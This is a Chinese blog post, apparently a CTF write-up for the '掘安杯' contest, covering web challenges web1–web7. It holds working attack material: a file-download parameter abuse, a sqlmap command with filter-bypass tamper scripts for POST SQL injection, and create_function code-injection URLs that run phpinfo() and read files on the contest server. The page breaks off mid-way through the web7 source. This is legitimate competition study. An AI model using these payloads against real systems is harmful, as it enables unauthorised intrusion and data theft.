<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="看到一个男孩子给他女朋友备注的是“氟西汀”，百度了一下，“氟西汀”是抗抑郁药。 那你愿意做医我的药吗？  掘安杯打卡，滴滴滴…">
<meta name="keywords" content="ctf,writeup">
<meta property="og:type" content="article">
<meta property="og:title" content="掘安杯打卡">
<meta property="og:url" content="https://lengjibo.github.io/掘安杯打卡/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="看到一个男孩子给他女朋友备注的是“氟西汀”，百度了一下，“氟西汀”是抗抑郁药。 那你愿意做医我的药吗？  掘安杯打卡，滴滴滴…">
<meta property="og:locale" content="cn">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vayzvbloj312h09a75c.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vb0j28fij312o0g0mxt.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vb3ekhbij30rf0a2mxm.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vb7htwbxj30ym0fi3zs.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbdwthr6j30wo0h0dh5.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbf5pjnuj30g00aon1f.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbg6owsrj30h007v0vy.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbi9b4jgj30xo0gngmf.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbn8my81j312o0cf40e.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbqnqr3ej31110dedhs.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vf2fa8tej30rc08wdg6.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vfdtikssj312f0fbdia.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vfp83aicj30g30a8747.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vg14h4uzj30wj0ho76p.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vgbcavkrj30wz0dqt9s.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vgze372gj30rc0dwwkf.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vh3axv45j30pr0ffwhh.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhckqzckj30l0073wgb.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhhz5m3tj30rm0ff0yb.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vholbupgj30rn07pgob.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhrju008j30g807ht9z.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhtnsvtwj311l0j3jte.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhvl4wo2j30nw0flwfl.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhxd7kvgj30gn0cl74j.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhzovkvcj31i70nqwon.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vi10am9qj313o0lhwh7.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vi2l6msuj311e0jtmzq.jpg">
<meta property="og:updated_time" content="2019-04-08T12:32:22.000Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="掘安杯打卡">
<meta name="twitter:description" content="看到一个男孩子给他女朋友备注的是“氟西汀”，百度了一下，“氟西汀”是抗抑郁药。 那你愿意做医我的药吗？  掘安杯打卡，滴滴滴…">
<meta name="twitter:image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g1vayzvbloj312h09a75c.jpg">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/掘安杯打卡/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>掘安杯打卡 | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/掘安杯打卡/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">掘安杯打卡
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2019-04-07 16:10:00" itemprop="dateCreated datePublished" datetime="2019-04-07T16:10:00+08:00">2019-04-07</time>
            

            
              

              
                
                <span class="post-meta-divider">|</span>
                

                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Edited on</span>
                
                <time title="Updated at: 2019-04-08 20:32:22" itemprop="dateModified" datetime="2019-04-08T20:32:22+08:00">2019-04-08</time>
              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>看到一个男孩子给他女朋友备注的是“氟西汀”，百度了一下，“氟西汀”是抗抑郁药。</p>
<p>那你愿意做医我的药吗？</p>
<hr>
<p>掘安杯打卡，滴滴滴…</p>
<a id="more"></a>
<h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="web1"><a href="#web1" class="headerlink" title="web1"></a>web1</h3><p>考察302跳转，bp抓包，发现flag字段</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vayzvbloj312h09a75c.jpg" alt=""></p>
<p>解密得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vb0j28fij312o0g0mxt.jpg" alt=""></p>
<h3 id="web2"><a href="#web2" class="headerlink" title="web2"></a>web2</h3><p>打开之后是一个下载界面，将文件下载，得到如下内容</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag不在这里，在仔细找找哦！</span><br></pre></td></tr></table></figure>
<p>查看源码发现flag.php，尝试下载</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vb3ekhbij30rf0a2mxm.jpg" alt=""></p>
<p>构造如下url：</p>
<blockquote>
<p><a href="http://120.79.1.69:10002/?file=flag.php" target="_blank" rel="noopener">http://120.79.1.69:10002/?file=flag.php</a></p>
</blockquote>
<p>下载得到flag.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">'Content-Type: text/html; charset=utf-8'</span>); <span class="comment">//网页编码</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">encrypt</span><span class="params">($data, $key)</span> </span>&#123;</span><br><span class="line">    $key = md5 ( $key );</span><br><span class="line">    $x = <span class="number">0</span>;</span><br><span class="line">    $len = strlen ( $data );</span><br><span class="line">    $l = strlen ( $key );</span><br><span class="line">    <span class="keyword">for</span>($i = <span class="number">0</span>; $i &lt; $len; $i ++) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($x == $l) &#123;</span><br><span class="line">            $x = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        $char .= $key &#123;$x&#125;;</span><br><span class="line">        $x ++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>($i = <span class="number">0</span>; $i &lt; $len; $i ++) &#123;</span><br><span class="line">        $str .= chr ( ord ( $data &#123;$i&#125; ) + (ord ( $char &#123;$i&#125; )) % <span class="number">256</span> );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> base64_encode ( $str );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">decrypt</span><span class="params">($data, $key)</span> </span>&#123;</span><br><span class="line">    $key = md5 ( $key );</span><br><span class="line">    $x = <span class="number">0</span>;</span><br><span class="line">    $data = base64_decode ( $data );</span><br><span class="line">    $len = strlen ( $data );</span><br><span class="line">    $l = strlen ( $key );</span><br><span class="line">    <span class="keyword">for</span>($i = <span class="number">0</span>; $i &lt; $len; $i ++) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($x == $l) &#123;</span><br><span class="line">            $x = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        $char .= substr ( $key, $x, <span class="number">1</span> );</span><br><span class="line">        $x ++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>($i = <span class="number">0</span>; $i &lt; $len; $i ++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (ord ( substr ( $data, $i, <span class="number">1</span> ) ) &lt; ord ( substr ( $char, $i, <span class="number">1</span> ) )) &#123;</span><br><span class="line">            $str .= chr ( (ord ( substr ( $data, $i, <span class="number">1</span> ) ) + <span class="number">256</span>) - ord ( substr ( $char, $i, <span class="number">1</span> ) ) );</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $str .= chr ( ord ( substr ( $data, $i, <span class="number">1</span> ) ) - ord ( substr ( $char, $i, <span class="number">1</span> ) ) );</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $str;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$key=<span class="string">"MyCTF"</span>;</span><br><span class="line">$flag=<span class="string">"o6lziae0xtaqoqCtmWqcaZuZfrd5pbI="</span>;<span class="comment">//encrypt($flag,$key)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>根据注释知道flag被加密，使用上述的解密函数进行解密即可</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vb7htwbxj30ym0fi3zs.jpg" alt=""></p>
<h3 id="web3"><a href="#web3" class="headerlink" title="web3"></a>web3</h3><p>网站被黑？！这个其实貌似好像大概也许是bugku的原题，尝试找到shell文件</p>
<p>输入密码hack得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbdwthr6j30wo0h0dh5.jpg" alt=""></p>
<h3 id="web4"><a href="#web4" class="headerlink" title="web4"></a>web4</h3><p>查看源码如下</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbf5pjnuj30g00aon1f.jpg" alt=""></p>
<p>因为之前做过同样的题，直接cookie为空、密码为空，得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbg6owsrj30h007v0vy.jpg" alt=""></p>
<h3 id="web5"><a href="#web5" class="headerlink" title="web5"></a>web5</h3><p>打开后是一个登录页面，本来以为是弱口令，然后写一个验证码计算脚本提交即可..</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbi9b4jgj30xo0gngmf.jpg" alt=""></p>
<p>但是脚本写完之后提交发现弱口令不对..</p>
<p>下面是我写的脚本</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line">url = <span class="string">'http://120.79.1.69:8887/web5/'</span></span><br><span class="line">s = requests.Session()</span><br><span class="line">source = s.get(url)</span><br><span class="line">soup = BeautifulSoup(source.content.decode(<span class="string">'utf-8'</span>), <span class="string">'lxml'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> soup.select(<span class="string">'.rep'</span>):</span><br><span class="line">    result = i.string</span><br><span class="line"></span><br><span class="line">result2 = re.sub(<span class="string">'X'</span>,<span class="string">'*'</span>,result)</span><br><span class="line">result3 = re.sub(<span class="string">'（'</span>,<span class="string">'('</span>,result2)</span><br><span class="line">result4 = re.sub(<span class="string">'）'</span>,<span class="string">')'</span>,result3)</span><br><span class="line"></span><br><span class="line">result5 = eval(result4)</span><br><span class="line">result5 = round(result5)</span><br><span class="line"></span><br><span class="line">post = &#123;<span class="string">'username'</span>:<span class="string">'admin'</span>,<span class="string">'password'</span>:<span class="string">'admin'</span>,<span class="string">'value'</span>: result5&#125;</span><br><span class="line">w = s.post(url=url, data = post).content.decode(<span class="string">'utf-8'</span>)</span><br><span class="line">print(w)</span><br></pre></td></tr></table></figure>
<p>没办法，尝试万能密码</p>
<p>发现爆出SQL语句</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbn8my81j312o0cf40e.jpg" alt=""></p>
<p>尝试post注入..<br>（不知道为啥SQLMAP跑不出可能是有过滤的原因….）</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vbqnqr3ej31110dedhs.jpg" alt=""></p>
<p>但是能sqlmap我是绝对不会手工的…</p>
<p>给出payload</p>
<blockquote>
<p>sqlmap.py -r C:\Users\hp\Desktop\0.txt –tamper nonrecursivereplacement.py,space2comment.py -p username –risk 3 –dbms=mysql –dbs</p>
</blockquote>
<p>使用/**/替换空格，并且双写关键字..</p>
<p>然而爆表时却…</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vf2fa8tej30rc08wdg6.jpg" alt=""></p>
<p>后来发现过滤了or..</p>
<p>手工进行爆数据</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vfdtikssj312f0fbdia.jpg" alt=""></p>
<p>然后将用户名密码放到之前的脚本中得到一个压缩包地址</p>
<p>然后代码审计、解密、解压得到一个png</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vfp83aicj30g30a8747.jpg" alt=""></p>
<p>换为txt后缀，得到flag</p>
<h3 id="web6"><a href="#web6" class="headerlink" title="web6"></a>web6</h3><p>代码审计题目</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'action'</span>])) &#123;</span><br><span class="line">    $action = $_GET[<span class="string">'action'</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'action'</span>]))&#123;</span><br><span class="line">    $arg = $_GET[<span class="string">'arg'</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(preg_match(<span class="string">'/^[a-z0-9_]*$/isD'</span>, $action))&#123;</span><br><span class="line">    show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    $action($arg,<span class="string">''</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>creat_function()注入，一看就是p牛的题目改的..</p>
<p>只是更改了可控参数的位置</p>
<p>payload：</p>
<blockquote>
<p><a href="http://120.79.1.69:10006/?action=%5ccreate_function&amp;arg=){}phpinfo();//" target="_blank" rel="noopener">http://120.79.1.69:10006/?action=%5ccreate_function&amp;arg=){}phpinfo();//</a></p>
</blockquote>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vg14h4uzj30wj0ho76p.jpg" alt=""></p>
<p>则它的过程便成为了</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">create_function()</span><br><span class="line">&#123;&#125;phpinfo();<span class="comment">//</span></span><br></pre></td></tr></table></figure>
<p>列目录，打开文件</p>
<blockquote>
<p><a href="http://120.79.1.69:10006/?action=%5ccreate_function&amp;arg=){}var_dump(file(&quot;./Th1s_1S_F1a9_Hav3_Fun&quot;));//" target="_blank" rel="noopener">http://120.79.1.69:10006/?action=%5ccreate_function&amp;arg=){}var_dump(file(&quot;./Th1s_1S_F1a9_Hav3_Fun&quot;));//</a></p>
</blockquote>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vgbcavkrj30wz0dqt9s.jpg" alt=""></p>
<h3 id="web7"><a href="#web7" class="headerlink" title="web7"></a>web7</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'flag.php'</span>);</span><br><span class="line">$str1 = @$_GET[<span class="string">'str1'</span>];</span><br><span class="line">$str2 = @$_GET[<span class="string">'str2'</span>];</span><br><span class="line">$str3 = @$_GET[<span class="string">'str3'</span>];</span><br><span class="line">$str4 = @$_GET[<span class="string">'str4'</span>];</span><br><span class="line">$str5 = (string)@$_POST[<span class="string">'str5'</span>];</span><br><span class="line">$str6 = (string)@$_POST[<span class="string">'str6'</span>];</span><br><span class="line">$str7 = (string)@$_POST[<span class="string">'str7'</span>];</span><br><span class="line"><span class="keyword">if</span>( $str1 == $str2 )&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'str1 OR Sstr2 no no no'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>( md5($str1) != md5($str2) )&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'step 1 fail'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>( $str3 == $str4 )&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'str3 OR str4 no no no'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ( md5($str3) !== md5($str4))&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'step 2 fail'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 )&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'str5 OR str6 OR str7 no no no'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7))&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'step 3 fail'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!($_POST[<span class="string">'a'</span>]) <span class="keyword">and</span> !($_POST[<span class="string">'b'</span>]))</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"come on!"</span>;</span><br><span class="line">    <span class="keyword">die</span>();</span><br><span class="line">&#125;</span><br><span class="line">$a = $_POST[<span class="string">'a'</span>];</span><br><span class="line">$b = $_POST[<span class="string">'b'</span>];</span><br><span class="line">$m = $_GET[<span class="string">'m'</span>];</span><br><span class="line">$n = $_GET[<span class="string">'n'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) &gt; <span class="number">6</span>)) </span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"a OR b fail!"</span>;</span><br><span class="line">    <span class="keyword">die</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ((strlen($m) &gt; <span class="number">4</span>) || (strlen($n) &gt; <span class="number">4</span>)) </span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"m OR n fail"</span>;</span><br><span class="line">    <span class="keyword">die</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$str8 = hash(<span class="string">'md5'</span>, $a, <span class="keyword">false</span>);</span><br><span class="line">$str9 = strtr(hash(<span class="string">'md5'</span>, $b, <span class="keyword">false</span>), $m, $n);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;p&gt;str8 : $str8&lt;/p&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;p&gt;str9 : $str9&lt;/p&gt;"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (($str8 == $str9) 